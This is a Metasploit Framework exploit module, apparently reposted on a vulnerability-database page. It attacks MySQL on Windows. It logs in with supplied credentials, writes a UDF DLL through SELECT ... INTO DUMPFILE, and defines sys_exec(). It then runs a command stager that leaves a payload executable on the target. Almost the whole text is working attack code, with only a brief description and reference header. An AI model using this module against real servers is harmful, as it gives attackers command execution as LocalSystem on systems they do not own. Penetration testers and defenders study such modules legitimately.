ZeroBox Vulnerability Database

##
# $Id: mysql_payload.rb 11899 2011-03-08 22:42:26Z todb $
##
 
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require ‘msf/core’
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = ExcellentRanking
 
    include Msf::Exploit::Remote::MYSQL
    include Msf::Exploit::CmdStagerVBS
 
    def initialize(info = {})
        super(
            update_info(
                info,
            ‘Name’           => ‘Oracle MySQL for Microsoft Windows Payload Execution’,
            ‘Description’    => %q{
                This module creates and enables a custom UDF (user defined function) on the
                target host via the SELECT … into DUMPFILE method of binary injection. On
                default Microsoft Windows installations of MySQL (=< 5.5.9), directory write
                permissions not enforced, and the MySQL service runs as LocalSystem.
 
                NOTE: This module will leave a payload executable on the target system when the
                attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()
                and sys_exec() functions.
            },
        ‘Author’         =>
        [
            ‘Bernardo Damele A. G. <bernardo.damele[at]gmail.com>’, # the lib_mysqludf_sys.dll binaries
            ‘todb’ # this Metasploit module
        ],
            ‘License’        => MSF_LICENSE,
            ‘Version’        => ‘$Revision: 11899 $’,
            ‘References’     =>
        [
            # Bernardo’s work with cmd exec via udf
            [ ‘URL’, ‘http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html’ ],
            # Advice from 2005 on securing MySQL on Windows, kind of helpful.
            [ ‘URL’, ‘http://dev.mysql.com/tech-resources/articles/securing_mysql_windows.html’ ]
        ],
            ‘Platform’       => ‘win’,
            ‘Targets’        =>
        [
            [ ‘Automatic’, { } ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)
        ],
            ‘DefaultTarget’  => 0,
            ‘DisclosureDate’ => ‘Jan 16 2009’ # Date of Bernardo’s blog post.
        ))
        register_options(
            [
                OptBool.new(‘VERBOSE’, [ false, ‘Enable verbose output’, false ]),
                OptBool.new(‘FORCE_UDF_UPLOAD’, [ false, ‘Always attempt to install a sys_exec() mysql.function.’, false ]),
                OptString.new(‘USERNAME’, [ false, ‘The username to authenticate as’, ‘root’ ])
        ])
    end
 
    def username
        datastore[‘USERNAME’]
    end
 
    def password
        datastore[‘PASSWORD’]
    end
 
    def login_and_get_sys_exec
        mysql_login(username,password,’mysql’)
        @mysql_arch = mysql_get_arch
        @mysql_sys_exec_available = mysql_check_for_sys_exec()
        if !@mysql_sys_exec_available || datastore[‘FORCE_UDF_UPLOAD’]
            mysql_add_sys_exec
            @mysql_sys_exec_available = mysql_check_for_sys_exec()
        else
            print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)."
        end
    end
 
    def execute_command(cmd, opts)
        mysql_sys_exec(cmd, datastore[‘VERBOSE’])
    end
 
    def exploit
        login_and_get_sys_exec()
 
        if not @mysql_handle
            print_status("Invalid MySQL credentials")
            return
        elsif not [:win32,:win64].include?(@mysql_arch)
            print_status("Incompatible MySQL target architecture: ‘#{@mysql_arch}’")
            return
        else
            if @mysql_sys_exec_available
                execute_cmdstager({:linemax => 1500, :nodelete => true})
                handler
            else
                print_status("MySQL function sys_exec() not available")
                return
            end
        end
        disconnect
    end
 
end